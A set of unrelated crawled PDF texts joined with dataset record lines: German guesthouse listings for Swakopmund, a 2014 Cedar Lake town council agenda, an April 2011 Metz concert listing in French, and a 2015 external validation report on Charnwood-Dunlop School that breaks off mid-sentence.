ca. 5 Gehminuten zur Innenstadt und ca. 10 Gehminuten zum Strand, Windhoek ca. 400 km. Gästehaus: Persönlich vom Eigentümer geführtes luxuriöses Gästehaus in bester Lage von Swakopmund. Die gemütliche Lounge mit offenem Kamin lädt zum Plausch mit anderen Gästen ein. Das üppige Frühstücksbüffet mit selbstgebackenen Leckereien wird Ihnen im Speisezimmer serviert. Sicherer Parkplatz. Die Mitarbeiter sind Ihnen bei der Tagesplanung und bei Reservierungen gerne behilflich. Unterkunft: Die 7 komfortablen Zimmer sind alle geschmackvoll mit Mahagonimöbeln eingerichtet und verfügen über ein eigenes Bad, Safe, Minibar, TV, Tee-/ Kaffeezubereiter und WLAN. Das helle Familienzimmer bietet Platz für bis zu 4 Personen und hat einen separtem Eingang. 150 Intermezzo Gästehaus Standard Gästehaus, Swakopmund Das kleine, familiäre Gästehaus bietet ein gutes Preis-/Leistungsverhältnis mit persönlicher Note als Basis für Swakopmund und Umgebung. Lage: In einer ruhigen Wohngegend; zum Strand sind es nur 2 Gehminuten; zur Stadtmitte von Swakopmund mit seinen vielen kolonialen Gebäuden ca. 25 Gehminuten. Gästehaus: Kleines gemütliches Gästehaus mit gepflegtem Garten. Genießen Sie beim morgendlichen Büffet in Ihrem Frühstücksraum den Blick auf das Meer und das Rauschen der Wellen; außerdem Lounge mit TV, Gästecomputer, kostenlosem WLAN und kleiner Bibliothek und sicherer Parkplatz. Unterkunft: 9 helle und große Zimmer, davon 2 Familien­ zimmer mit separatem Eingang; alle mit eigenem Bad, Fön, extra langen Betten, Telefon, Tee-/Kaffeezubereiter, Balkon oder Terrasse und Safe. Beach Hotel Swakopmund Leistungen: Übernachtung, Frühstück. Nicht eingeschlossen: persönliche Ausgaben wie Getränke, Trinkgelder und Mahlzeiten. Kinder: unter 3 Jahren kostenfrei, bis 11 Jahren im Familienzimmer Ermäßigung. Das 2. Kind zwischen 3 und 11 Jahren im Komfort-Apartment oder im Familienzimmer ist kostenfrei. Meerblick-Zimmer Hotel Zum Kaiser Swakopmund Exklusives Hotel in bester Lage von Swakopmund. Lage: Im historischen Herzen von Swakopmund mit seinen Geschäften und Restaurants, nur ca. 500 m vom Strand entfernt. Hotel: Gemütliches Hotel mit moderner Ausstattung und Dekoration teils aus der Kaiserzeit. Lounge, Bar, Restaurant mit Terrasse und Kamin; Spa und sicherer Parkplatz. Den Abend sollten Sie unbedingt auf der schönen Dachterrasse mit einem Glas Wein einläuten, der Ausblick von hier auf die Stadt und den Ozean ist wunderschön. Unterkunft: 20 Luxus-Zimmer und eine HoneymoonSuite in klassisch, elegantem Stil sowie 3 Familienzimmer mit Verbindungstür. Alle ausgestattet mit Safe, TV, Telefon, Kühlschrank, Tee-/Kaffeezubereiter, kostenlosem WLAN, Klimaanlage. Einige Zimmer liegen an der Frontseite und haben einen Balkon mit Blick auf die Stadt und von der oberen Etage teilweise, eingeschränkten Meerblick.
<urn:uuid:83e94cf7-76f5-4bed-8f50-a68096547af0>
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
4,274
June 17, 2014 7:00 PM TOWN COUNCIL PUBLIC MEETING TENTATIVE AGENDA EXECUTIVE SESSIONS WILL BE HELD AT 6:00 P.M. AND FOLLOWING THE REGULAR TOWN COUNCIL MEETING PLEDGE OF ALLEGIANCE CALL TO ORDER/ROLL CALL: MOMENT OF SILENCE TOWN COUNCIL: ___ John Foreman, Ward 2 ___ Robert H. Carnahan, Ward 1 ___ Gregory L. Wornhoff, Ward 3 ___ Randell Niemeyer, President, Ward 5 ___ Patsy Casassa, Vice President, Ward 6 ___ Ralph Miller, Ward 4 ___ David Austgen, Town Attorney ___ Amy Gross, Clerk-Treasurer ___ Greg Parker, Ward 7 PRESENTATION BY EAGLE SCOUT AUGUST STEININGER UPDATE ITEMS BY NEIL SIMSTAD- NIES ENGINEERING PUBLIC COMMENT: CONSENT AGENDA: 2. Claims for June 17th: All Town Funds $332,255.79, Wastewater Operating $111,005.04, Water $35,695.72, Storm Water $385.89, Payroll #98- $187,581.61. 1. Minutes: June 3, 2014 Public Meeting 3. Donations: i. Austgen, Kuiper & Jasaitis - $150.00 a. DARE (Monetary) b. TOWN (In-Kind) Motion to accept and waive the reading of the Minutes, accept the Consent Agenda as listed. Motion: ________________1 st ________________2 nd i. Wahlberg Photography - $480.00 (Pictures and Framing) Robert H. John Greg Ralph Greg Patsy Randell Vote Yes| No Carnahan Foreman Wornhoff Miller Parker Casassa Niemeyer Tally Yes| No Yes| No Yes| No Yes| No Yes| No Yes| No - BZA: 1. Jim Verduin- 11719 W. 143 rd - Special Use Variance Motion: ________________1 ________________2 The Board of Zoning Appeals sends a favorable recommendation to allow the Petitioner to operate an automobile service center and repair shop with an overnight parking eight (8) car maximum and to include the findings of fact. st nd Town Council Public Meeting June 17, 2014 ORDINANCES & RESOLUTIONS: 1. Resolution No. 1115 - Interlocal Agreement E911 Consolidation Motion: ________________1 st ________________2 NEW BUSINESS: 1. Barnes & Thornburg Engagement Letter st 2. Pay Request No. 1 Town Complex Restrooms st Motion: ________________1 ________________2 nd TOWN COUNCIL 1) Town Council 3) Clerk-Treasurer REPORTS 2) Town Attorney 4) Town Manager WRITTEN COMMUNICATION: 1. Christopher B. Burke Engineering Report PUBLIC COMMENT: ADJOURNMENT: PRESS SESSION: Town Council Public Meeting & Work Session - Tuesday, July 1 st at 7:00 p.m. Follow us on Twitter @TownOfCedarLake "Like" us on Facebook! The Town of Cedar Lake is subject to the requirements of the Americans with Disabilities Act of 1990. Individuals with disabilities who plan to attend this meeting and who require certain accommodations in order to allow them to observe and/or participate in this meeting, or who have questions regarding accessibility of the meeting or the facilities, please contact the Cedar Lake Town Hall at (219) 374-7400. Page 2 of 2 nd
<urn:uuid:fa81d6c8-d4dc-4a98-8079-4d26535de2a5>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
2,810
Programme des concerts - Avril 2011 Voici les concerts prévus pour le mois d'avril 2011 dans les environs de Metz que nous avons trouvé pour vous. Le Seven Casino d'Amnéville Jeudi 07 Avril : Ayo sera en concert au Seven Casino avec en première partie Dom Colme. Les Trinitaires de Metz Samedi 02 Avril : Kim Novak, La Féline avec son nouvel album et Pockett seront en G concert à partir de 20H00. Au même moment, le Voodoo Clan Release Party ! aura lieu avec Voodoo Clan, T.I.N.A, 9m² et Logre à partir de 20h00. G Mardi 05 Avril : DJ Premier et Nick Javas seront en concert à partir de 20h00. G Jeudi 07 Avril : la Jam Session aura lieu. La scène est ouverte à tous les amateurs de Jazz et l'entrée est libre pour tous à partir de 21h00 ! G Samedi 09 Avril : Le Tremplin Zikamin aura lieu à partir de 20h00. L'entrée est gratuite. Vous retrouverez les groupes De Tekooptehuuren, Bon'appart, Onmytv et Midi. G Du 12 au 16 Avril aura lieu la première version du festival Contrast mêlant expositions musicales, photographiques où la musique et les pixels fusionneront dans une alchimie contemporaine : G le mercredi 13 Avril : à partir de 20h30 l'entrée est de 6 euros ou libre sur présentation de la prévente pour la Party du 15 Avril. Un ciné-concert aura lieu. G le jeudi 14 Avril : un atelier payant de 50 euros aura lieu. Cela s'adresse aux personnes confirmées ayant de solides bases en infographie. G Vendredi 14 avril : à 20h00 plusieurs groupes monteront sur scène en mêlant la musique et l'art numérique. Il y aura Incite, Misteur Valaire, Qualité Motel, Hexstatic, Abstract Sound Project, Artaban, One MPC Two Dj's, Bombaklak et Diez ©etudiant-metz.info2010 - 2018 page 1/3 ©etudiant-metz.info2010 - 2018 page 2/3 G Samedi 16 Avril : le Born Bad Party ! The Feeling Of Love Release Party aura lieu à 21h . Les groupes qui se présenteront sont The Feeling Of Love, The Cavaliers, Cheveu et Jb Wizz. G Jeudi 21 Avril: Deerhoof, Extra Life, Buddy Satan DJ Set seront en concert à partir de 21h00. G Mercredi 20 Avril : Selah Sue sera en concert à partir de 20h00 Le 112 Terville G Samedi 09 Avril : Les Tambours du Bronx seront en concert à partir de 20h30 G Samedi 30 Avril : le Festival Ska aura lieu avec Skarface, The Toasters, Two Tone Club, 65 Mines Street, Mark Foggo, La Place du Kiff à partir de 18h00 G Samedi 16 Avril : Gentleman et R.I.C seront en concert à partir de 20h30 G Vendredi 22 Avril : Nina Hagen et Mell seront en concert à partir de 20h30 Chez Paulette à Nancy G Vendredi 1 er Avril : Uli John Roth sera en concert G Vendredi 08 Avril : la soirée Pop Rock Touloise aura lieu avec les groupes Protagora , Insane, Unaidead Fall. L'entrée est de 5 euros G Samedi 02 Avril : Fred Chapellier et Tom Principato seront en concert G Samedi 09 Avril : Nagas sera en concert G Samedi 16 Avril : The Popes (ex- Pogues) sera en concert G Vendredi 15 Avril : The Primevals sera en concert G Vendredi 22 Avril : W.T.N Prisoners sera en concert G Vendredi 29 Avril : Hurlements D'Leo sera en concert G Samedi 23 Avril : Rage sera en concert G Samedi 30 Avril : La final du concours Emergenza aura lieu ! Catégories : musique posté le jeudi 31 mars 2011 à 15h58 par Mylène Weber ©etudiant-metz.info2010 - 2018 page 3/3
<urn:uuid:c6bf87a8-2f08-4f27-b48a-8b39340ee82f>
HuggingFaceFW/finepdfs/tree/main/data/fra_Latn/train
finepdfs
fra_Latn
3,253
EXTERNAL VALIDATION REPORT 2015 for CHARNWOOD-­‐DUNLOP SCHOOL Introduction: Overview of the Validation process As part of the Territory's school improvement approach, public schools and colleges in the Australian Capital Territory are required to participate in an External Validation process every four years. This document captures the findings of the panel during this cycle of validation. In broad terms, the panel sought to determine, through evaluation and validation, the extent to which the school is meeting its agreements, achieving its priorities, and addressing its challenges: in the context of a continuously improving educational environment. External Validation was conducted over three days and involved a wide variety of data gathering approaches including observations, interviews and documentation. This approach provided evidence for the panel to consider against the nine inter-­‐related domains in the National School Improvement Tool that informed our commendations and recommendations. Section A: School context Charnwood-­‐Dunlop School was opened as Charnwood Primary School in 1975. The school changed to Charnwood-­‐Dunlop School in 2008 to welcome the new suburb of Dunlop. The Belconnen Introductory English Centre (BIEC) is based at the school. The BIEC offers an Introductory English program for non-­‐English speaking primary school students and prepares them for entry into mainstream ACT schools. Charnwood-­‐Dunlop School provides preschool programs for three year olds and four year olds. The primary school has thirteen classes ranging from Kindergarten to year 6. The students of Charnwood-­‐Dunlop school come from Charnwood, and the surrounding suburbs including Dunlop and Flynn. Charnwood-­‐Dunlop School is identified as a National Partnership Low Socio Economic Status (SES) School. The school is provided with extra funding to improve literacy and numeracy outcomes for students and to develop stronger community partnerships. The school vision was collaboratively created by the whole school community in 2015. The vision is: "Together as a community of staff, students and families we will create a safe and encouraging learning environment where wonder and curiosity are nurtured and every child is empowered to reach their full potential. We will value diversity and build respectful relationships through effective communication." The school values are: "REACH". The REACH values are Respect, Excellence, Acceptance, Commitment and Honesty. The school believes the values reflect staff and community values and are informed by the National Framework for Values Education in Australian Schools. Charnwood-­‐Dunlop School has 285 students with a growth of 50 students over the life of the School Plan. The demographics demonstrate that the Index of Community Socio Educational Advantage (ICSEA) is 986 and has remained constant over the life of the school plan. The panel noted that the ICSEA value can have an effect on school resources and performance as it indicates a level of educational advantage based on the educational and occupational indicators of parents. This makes it important that Charnwood-­‐Dunlop School's performance is compared with similar schools. The ICSEA also has an influence on the school's National Partnership Low SES School funding and this funding has decreased over the life of the school plan. Approximately seven percent of the school's students identify as Aboriginal or Torres Strait Islander and 35 percent of students come from families of English as an Additional Language or Dialect (EALD) background. The school embraces this rich diversity of over 25 different nationalities through programs such as Cultural, Heritage, Identity and Language Learning (CHILL), National Aborigines and Islanders Day Observance Committee (NAIDOC) week and Harmony Day celebrations. The school currently has three classes in the BIEC with continuous enrolments and fluctuations throughout the year as students arrive or graduate. Graduated students transition to their Priority Enrolment Area (PEA) school after approximately 2-­‐3 terms. There have been no changes to the Priority Enrolment Area during the life of the school plan. Students in the BIEC come from areas around Belconnen and Gungahlin, many catching buses to and from school. After graduation they return to their own priority enrolment area schools. The school staffing profile consists of a principal, deputy principal, three School Leader Cs (SLC), 22 teachers, a literacy and numeracy field officer and 10 administrative staff. The staffing profile has changed significantly since 2012 and impacted on the implementation of the School Plan. The school reduced the number of administrative staff and an increased emphasis was placed on educational leadership to support the BIEC and provide teacher coaching across the school. The school is trialing the position of a Youth Support Worker in 2015 to provide alternative curriculum programs. The school has undertaken refurbishments during the life of the plan to increase student wellbeing and engagement. This includes: building internal walls, painting, building the BMX bike skills trail and the introduction of the Active Brain Cafe (ABC) café. The school has had significant changeover of staff and the challenges experienced (and overcome) by the school in establishing the BIEC as this impacted the performance data and is discussed later in the report Section B: School performance. Section B: School performance The panel was impressed with the school's effort to respond to school performance data collected and analysed during the last four years. The school reviewed the data and made changes to the physical environment, communication of partnerships, student engagement and wellbeing and teaching and learning programs. Charnwood-­‐Dunlop School has focused on improving student outcomes in literacy and numeracy during the last four years. The school has used data from the National Assessment Program -­‐ Literacy and Numeracy (NAPLAN) and Performance Indicators in Primary Schools (PIPS) to monitor student performance and to evaluate teaching and learning programs. The panel noted the following: * NAPLAN results have varied during the last four years with no consistent pattern. Generally the results are below or significantly below schools with a similar Index of Community and Social Educational Advantage (ICSEA). * NAPLAN gains and/or expected growth results have also fluctuated. Numeracy and reading gains were lower than students with similar starting scores from 2012 – 2014. * NAPLAN K-­‐3 and K-­‐5 match results indicated that students who have started in kindergarten and progressed through the school have achieved better results than other students who have entered the school throughout this time. * NAPLAN mean scores in numeracy and reading over the last three years have increased slightly except for year 3 reading. * PIPS results showed the students at Charnwood-­‐Dunlop School are below the average ACT start and end level in reading and mathematics. It is worthy to note that the percentage for students making expected progress or better since 2012 has increased for reading and maths. * The percentage of the students achieving PM Reading benchmark level at the end of each of the last four years has fluctuated. Staff, students and parents were surveyed using the ACT Education and Training Directorate's Stakeholder Satisfaction Survey. For students and staff the results were inconsistent and for the parents the response rates have dropped in the last three years. The panel noted the following: * Due to high staff turnover the results from the staff surveys were variable. There was high support from staff for learning and teaching and leadership and management. Staff responded to the questions they "know what the values of the school are" and "school values are reflected in my teaching" with an "agree or strongly agree" response which is above system-­‐wide averages. * Over the last three years results have indicated that staff responses to "I enjoy teaching" have consistently sat above 90 percent in the agree or strongly agree category which is above ACT averages. * Student responses to "Teachers expect me to do my best" and "My teachers motivate me to learn" were consistently at or above 92-­‐100 percent over the last three years. Students expressed what they liked about their school, for example, commenting on School Parliament, recent changes to playground times, the ABC Cafe, the BMX track and the Chrome Books and the opportunity to "play and learn with the students from the IEC." * Whilst the student data for "I feel safe at my school" has varied over the life of the plan and is below ACT averages, the school has addressed these concerns and through discussion with students, parents and staff, a positive behaviour support program has been implemented to support the restorative practices in place. * The parent survey response for "My child feels safe at this school" is below ACT system average. The panel's discussion with parents indicated that the majority felt that progress was being made to address and improve upon the safety of students. The school identified that the KidsMatter survey data mirrors the System Satisfaction Survey. * The preschool KidsMatter Survey results indicated that 100 percent of respondents agree that their "child feels safe and happy at preschool." * The Student Engagement and Wellbeing Policy and Procedures document is regularly updated and all stakeholders informed. The panel sighted the past and present document and observed the processes and programs in place. Attendance has remained consistent throughout the life of the school plan and in part this is due to the efforts of the staff to ensure strong parent partnerships. The school has noted absence data was higher among the Aboriginal and Torres Strait Island students in 2012 and 2013. An action plan was implemented in 2014 to address school wide attendance concerns and this has also addressed Aboriginal and Torres Strait Island student attendance. The school has noted suspension rates over the course of the last four years. In 2013 and 2014 these rates were high compared to previous years. The panel observed various reasons that could explain this data, for example, the turnover of staff, establishment of the IEC, and leadership changes. The panel commends the school's response to these concerns through initiatives such as a Behaviour Support Partner, establishment of a positive behavior support model, a Youth Support Worker and changes to the physical environment of the school. Charnwood-­‐Dunlop has implemented effective data analysis, an assessment schedule and with the introduction of Professional Learning Teams has used data to inform their practice. Evidence cited and its validation NAPLAN data Gradexpert school assessment data – PAT Maths, PAT Reading, Reading benchmarks Perception survey data -­‐system and school-­‐based Annual School Board Reports Charnwood Dunlop School (CDS) 2012-­‐2014 Annual Operating Plans CDS 2012-­‐2014 Performance data CDS 2010-­‐2014 February 2014 Census Data Attendance Data CDS. Section C: School improvement planning and implementation The School Plan of Charnwood-­‐Dunlop School identifies three priorities for improvement. These remained consistent for the life of the plan. The priorities were developed from the 2011 validation report and in consultation with the school community. The first two priorities link closely with the National Partnership priorities. During the life of this school plan there have been a number of changes in staff and in the leadership of the school. There has been a new principal, deputy principal and executive team and a high turnover of staff. The panel noted through discussion that the staffing changes, the decrease in funding and implementation of the IEC may have impacted on the implementation of the priorities. Priority Areas Strategic Priority 1: Improve literacy and numeracy outcomes for all students Strategic Priority 2: Foster strong links between the school and its community through collaborative partnerships Strategic Priority 3: Enhance the physical environment of the preschool so it is safe, suitable and provides a rich and diverse range of experiences that promote children's learning and development Achievements Strategic Priority 1: Improve literacy and numeracy outcomes for all students The performance measures and targets set were: * An increase in the reading and numeracy NAPLAN mean scores for grade cohorts as prescribed by Directorate targets. * An increase in the percentage of kindergarten students who make average or above average progress in reading and mathematics. * the percentage of students achieving school reading benchmarks. * 60 percent of students in the IEC achieving English competency criteria within two terms * school mean score in NAPLAN for Aboriginal and Torres Strait Islander students in reading, writing and numeracy is equal to or above the mean for Aboriginal and Torres Strait Islander students in all ACT schools. Charnwood-­‐Dunlop School mostly met the prescribed Directorate targets during the life of the plan. In achieving these targets the school implemented a range of strategies and programs such as: * Active Brain Cafe (ABC) Cafe * Belconnen Network "I Can" statements * SURF Maths * Extension Literacy and Numeracy groups * Established Professional Learning Communities. The panel sighted that the PIPS reading data fluctuated over the life of the plan. Seventy-­‐eight percent of students in kindergarten achieved expected growth in mathematics and 49 percent in reading in 2014. This was an increase over the life of the plan. Expected growth in PM benchmark results for kindergarten students increased over the last two years representing a significant increase since 2011. PM benchmark reading results in years 1-­‐6 over the life of the plan have been inconsistent. The panel, through discussion with the school community, noted that these inconsistencies may have resulted from instability in staffing arrangements. The panel commends the school on acting on the data and implementing targeted programs including those mentioned above. The BIEC was introduced in 2012 and has been successfully integrated into Charnwood-­‐Dunlop School. In 2014, over 70 percent of students completed the program in two terms and were transitioned to their local school. The school was unable to report on the NAPLAN progress of Aboriginal and Torres Strait Island students due to privacy reasons. The panel sighted the Charnwood-­‐Dunlop Reconciliation Action Plan (RAP) and the individual Personalised Learning Plans (PLPs). Strategic Priority 2: Foster strong links between the school and its community through collaborative partnerships The performance measures were: * Improvement in responses to the school satisfaction survey relating to community involvement * Increasing the percentage of parents participating in school based educational activities The panel sighted that 83 percent of parents and carers in Charnwood-­‐Dunlop School are satisfied that community partnerships are valued. This proportion has remained fairly consistent during the life of the plan. The panel commends Charnwood-­‐Dunlop School for its range of community engagement activities and awards. These awards include the ACT Public Education Excellence Award for Family and Community Partnerships, and the ACT Multicultural Award for Education. Other activities of note include: * partnerships with the Smith Family and Salvation Army * Cultural Heritage Identity and Language Learning (CHILL) program * the Active Brain Cafe (ABC) Cafe * the BMX Bike Skills Track * the Reconciliation Action Plan (RAP). Additional school based survey data indicated community partnerships are highly valued by both the school and the community. The panel commends the school for the collection of data in this priority area and recommends partnerships and programs are developed in response to such surveys. Strategic Priority 3: Enhance the physical environment of the preschool so it is safe, suitable and provides a rich and diverse range of experiences that promote children's learning and development The performance measures were: * Meet the National Quality Standard (NQS) accreditation for the preschool. * The percentage of satisfaction with the physical environment of the preschool demonstrated by parents/careers in a school based survey is above 80 percent. Charnwood-­‐Dunlop School NQS accreditation was partially achieved in 2014. The overall rating was "working towards meeting the standard". At this time there were changes in preschool staffing. The preschool has continued to address the standards and has implemented changes to programming, planning and reporting. Parent satisfaction as assessed by mid-­‐year surveys demonstrated 91 percent satisfaction with the indoor and outdoor environment in the preschool. This was well above the target of 80 percent. The panel commends the preschool on an outstanding learning environment and observed children engaged in rich play. Reflections The school reflected and identified a number of areas for improvement and barriers in progressing the School Plan over the last four years. Staff turnover, the introduction of the IEC, National Partnerships funding, school reputation and the open plan building structure were all issues faced by the school whilst implementing the School Plan. The school noted that the implementation of the Australian Curriculum (AC) created some instability and uncertainty about the scoping and sequencing of school-­‐based curriculum. The panel agrees that these areas have been addressed during the last four years and this has now enabled the school to implement the priorities contained within the school plan. The panel commends the school on its honest reflections with regards to school performance, planning and sustainability. The panel acknowledges the steps taken by the school to address: * performance data by examining the correlation between school programs and progress * the alignment of staff pathways to the Annual Operating Plan (AOP) including the use of current data * introducing a balanced approach to addressing the key curriculum and assessment areas. Evidence cited and its validation NAPLAN data Gradexpert school assessment data – PAT Maths, PAT Reading, Reading benchmarks Perception survey data -­‐system and school-­‐based Annual School Board Reports CDS 2012-­‐2014 Annual Operating Plans CDS 2012-­‐2014 Performance data CDS 2010-­‐2014 February 2014 Census data Attendance data CDS Annual School Board Reports CDS 2012-­‐2014 Student Engagement and Wellbeing Policy Positive Behaviour Support (PBS) maps and GANTT Chart PBS PowerPoint presentation to staff Cultural Heritage Identity and Language Learning (CHILL) program. Section D: National tools self-­‐evaluation results National School Improvement Tool Self-­‐evaluations using the National School Improvement Tool were undertaken for the first time in 2015. The Charnwood-­‐Dunlop School staff used the tool in a workshop in each teaching team. Different domains were analysed by different teams. In validating the school's journey against the National School Improvement Tool the panel noted the following in relation to theExplicit Improvement Agenda domain. * The school has developed an agenda for improvement in partnership with parents and the community and school leaders can describe the improvements they wish to see in student behaviours and outcomes. This agenda is communicated in staff meetings, school newsletters, parent-­‐teacher meetings. * The school leadership team is clearly committed to finding ways to improve on current student outcomes. This is reflected in an eagerness to learn from research evidence, international experience and from other schools that have achieved significant improvements. * There is evidence of a school-­‐ wide commitment to every student's success and staff of the school tell stories of significant student improvement. There is a strong executive leadership vision driving an improvement agenda which has established a Professional Learning Community approach to provide a focus on learning and school improvement. The panel noted the breadth of communication of the improvement focus with staff, students and parents. There is a clear vision from the principal and the executive team around school improvement. Within theAnalysis and Discussion of Data domain, the panel verified the following. * School leaders pay close attention to data provided to them about the performance of the school (e.g, NAPLAN results; Year 12 results) and identify areas in which the school is performing relatively poorly or well. * An ad hoc approach exists to building staff skills in the analysis, interpretation and use of classroom data. * Software may be used for the analysis of school results, including the performances of priority groups, but analyses generally do not extend to studies of improvement or growth. * Time is set aside (eg, on pupil free days and in staff meetings) for the discussion of data and the implications of data for school policies and classroom practices. The school has noted that analysis, interpretation and use of system, school and classroom data would benefit from a formalised process for all staff to ensure data informs planning, programs and the learning of students. The panel acknowledges the progress achieved in this area and encourages the establishment of a data implementation plan to sharpen focus. Within theCulture that promotes learning domain, the panel verified the following. * There is a strong focus on quality learning and on the creation of a culture in which all students are expected to learn successfully, in their own ways and at their own pace. Individual talents are valued. * The school effectively implements its policies, for example, by ensuring that disruptive behaviour, bullying and harassment are dealt with promptly. The school has clear expectations for how students should behave and interact with one another, and in the main, relationships are caring and respectful. Some staff time is taken up dealing with behaviour problems. * Parents and families are encouraged to take a genuine and close interest in the work of the school and are welcomed as partners in their children's learning. * Staff morale is generally high. The panel recognises the aim of school leadership to establish high expectations and a commitment to excellence. The barriers to achieving this include student engagement and consistency in team planning. The recently introduced school vision and values can promote whole school morale and stability. Within theTargeted use of school resources domain, the panel verified the following. * The principal and other school leaders have introduced programs and strategies to identify and address the needs of students in the school and are sourcing and applying available resources to meet those needs. * The school has developed processes for identifying student learning needs, although there may not always be good school records of student achievement and progress. * Programs to meet individual learning needs are prioritised, where possible, in the school budget. * Physical spaces and technology are used effectively to maximise student learning. Learning spaces are organised for whole group work, small group work and individual work. The senior leadership team has had a strategic focus in the distribution of staffing resources to better accommodate learning needs of the students. The increase in teaching and executive positions and the targeted employment of a Youth Support Worker and experienced staff were noted by the panel. The positive impact of these decisions is evident on student learning and engagement as witnessed by the panel. The Positive Behaviour Support program and the use of Google Apps for Education (GAFE) in 2015 are clear examples of targeted use of school resources. Within theAn expert teaching team domain, the panel verified the following. * The school undertakes professional learning activities, although these may not always focus on the development of knowledge and skills required to improve student learning and there may not be a coherent, documented learning plan. * Teachers are open to constructive feedback and provide feedback to colleagues, although there may not be formal mentoring or coaching arrangements in place. * The school is implementing a formal process for conducting professional discussions with staff. The school's professional learning agenda is made explicit to staff at induction, and in staff handbooks. The school leadership acknowledges and is addressing the importance of all staff having the opportunity for professional learning that is aligned with school priorities and practices. The panel noted the induction of new staff has occurred but recommends a strategic approach to ensure a common vision, shared practice and an understanding of the unique nature of the school. Within theSystematic curriculum delivery domain, the panel verified the following. * The school places a priority on making the curriculum locally relevant and accessible to all students and values and builds on to students' existing knowledge and varying backgrounds. * The school has a documented plan for curriculum delivery that includes year level and term plans, but the progression of learning from year to year is not always obvious and the relationship between the pieces of the plan (the year, term and unit plans) would benefit from further clarification. * School leaders talk about embedding fundamental cross-­‐curricular skills such as literacy, numeracy and higher order thinking within all subjects, but there is little evidence that school-­‐ wide strategies are in place to drive a consistent approach. * Discussions about curriculum delivery tend to be sporadic and reactive with a year level focus rather than being driven by a leadership team with a whole-­‐school approach. The school leaders recognise the importance of systematic curriculum delivery. The panel recommends staff collaboration in developing a whole school approach to enable ownership and consistency in curriculum content, delivery and vertical alignment. Within theDifferentiated teaching and learning domain, the panel verified the following. * School leaders explicitly encourage teachers to tailor their teaching to student needs and readiness. This includes the systematic use of assessment instruments to establish where individuals are in their learning and to identify skill gaps and misunderstandings. Teachers also are encouraged to respond to differences in cultural knowledge and experiences and to cater for individual differences by offering multiple means of representation, engagement and expression. * Some use is made of differentiated teaching (eg, differentiated reading groups in the early primary years), but in most classes teachers teach the same curriculum to all students with similar levels of individual support. * Regular assessments of student learning are undertaken, but these often are summative and disconnected (eg, relating to different topics) rather than exploring long-­‐term progress in students' knowledge, skills and understandings over time. * Reports to parents show progress over time and include suggestions for ways in which parents can support their children's learning Differentiation in teaching and learning at Charnwood-­‐Dunlop School is progressing towards a whole school approach. The school leadership team has laid the foundations through the establishment of Professional Learning Teams and provision of Flexible Learning Options, Individual and Personalised Learning Plans and learning technologies. The panel sighted Student Reports and found them to be comprehensive, providing constructive advice to parents for the improvement of their child's learning. Within theEffective pedagogical practices domain, the panel verified the following. * School leaders are committed to continuous improvement in teaching practices throughout the school and expect team leaders and teachers to identify ways of doing this. * There is a particular focus on improved teaching methods in reading, writing and mathematics and professional learning activities are focused on building teachers' understandings of highly effective teaching strategies in these areas. * There is some clarity about what students are expected to learn, but a lack of balance in teaching methods (eg, over-­‐ reliance on whole-­‐group teaching or very little explicit teaching). The teaching staff have identified the need for clarity on what students are expected to learn and how effective pedagogy looks at Charnwood-­‐Dunlop School. The panel recommends the leadership team drive improvements in pedagogical practices throughout the school enabling a cohesive understanding of evidence based teaching strategies. Effective pedagogical practices may be achieved through coaching and mentoring programs, improved induction and sharing of best practice in the preschool and primary school. Within theSchool-­‐community partnerships domain ,the panel verified the following. * The school has established one or more partnerships with families, local businesses and/or community organisations with the express purpose of improving outcomes for students. Partnerships have generally been initiated by the senior leadership team and have their support. * Each partnership has been established in response to an identified need. Considerable effort has been put into understanding students' needs, identifying appropriate partners to address those needs, planning the details of partnership programs and clarifying partner roles and responsibilities. * Attention has been given to communication and to the sharing of experiences within the partnership; however, there may be no formal plan for reviewing the partnership's outcomes and effectiveness. * There is evidence that the school's partnerships are being implemented as intended. However, there may be limited evidence of improved student outcomes as a result of partnership activities – possibly because there has been insufficient time for them to demonstrate an effect. The panel commends the school on actively seeking and careful consideration of community partnerships. The Active Brain Cafe (ABC) Cafe is a strong illustration of bringing community into the literacy program at Charnwood-­‐Dunlop School. It has enabled parents and grandparents to actively contribute in their child's and community's education. This is indicative of a large number of partnerships operating with the school. A parent remarked "I would not choose anywhere else for my child to go to school". In 2014, the school's distinguished efforts and partnerships with community were recognised in the Directorate's Excellence Award for Family and Community Partnerships. The panel acknowledges and verifies that the partnerships observed were developed to increase student learning outcomes and support Social and Emotional Literacy (SEL). National Safe Schools Audit Tool The school undertook the National Safe Schools Framework Audit Tool in 2013.In 2015 the staff completed the tool individually online and results were collated and discussed to come to consensus. The tool assisted the staff to make informed judgements in creating and maintaining a safe and supportive learning environment. The panel confirmed the process in discussions and analysis of documentation and verified the conclusions of the staff. The areas where the school is achieving are: * Professional learning * Positive behaviour management * A focus on student wellbeing and ownership * Early intervention and support. The areas as future focus priorities are: * Leadership commitment to a safe school * Supportive and connected school culture * Policies and procedures * Engagement, skill development and safe school curriculum * Partnerships with family and community. Section E: Commendations and recommendations Commendations Charnwood-­‐Dunlop School is commended for the following. 1. There is a strong sense of community amongst all stakeholders within the school Charnwood-­‐Dunlop's community partnerships are highly valued in the school. The passion and commitment of the current staff and the high level of communication are genuinely appreciated by the Parents and Citizen's association and the School Board. A wide variety of partnerships have been developed to address the needs of students, to create positive relationships in the school and to achieve the strong sense of inclusivity that was evident to the panel. These efforts have been recognised in two separate awards; the 2014 Public Education Excellence Award for Community and Family Partnerships and the 2014 Award for Multiculturalism in Education. 2. There is a strong executive leadership vision driving an improvement agenda. The executive leadership team has established a Professional Learning Community approach to provide a focus on learning and school improvement. The aim of ensuring authentic and differentiated learning with visible learning approaches was clearly established with the teaching staff and evident to the validation panel. The building of teacher capacity with the support of the Literacy and Numeracy Field Officer position is another example of the emphasis placed on improvement at Charnwood-­‐Dunlop School. The use of data to monitor and inform the development of improved practices is also in place. 3. Commitment and progress to improving Social and Emotional Literacy (SEL) across the school. The school has collaborated with outside agencies to establish a whole school consistent approach in the use of restorative practices and in the building of respectful relationships. This has led to a positive impact on the social and emotional literacy of students that was evident in classrooms and in discussions with students, parents and staff. 4. The targeted resourcing of the school to meet student learning needs. The school has changed their resourcing model to better meet the strong improvement agenda and improved learning culture. An increase in teaching and leadership positions and a Youth Support Worker position have allowed for greater focus on learning and teaching and less on student management. There is a balanced approach to supporting Response to Intervention, the BIEC needs, the SEL curriculum and the preschool. 5. The opportunity for student voice at Charnwood-­‐Dunlop School. Student voice through the Charnwood-­‐Dunlop Parliament is highly valued by the students and staff. It provides an 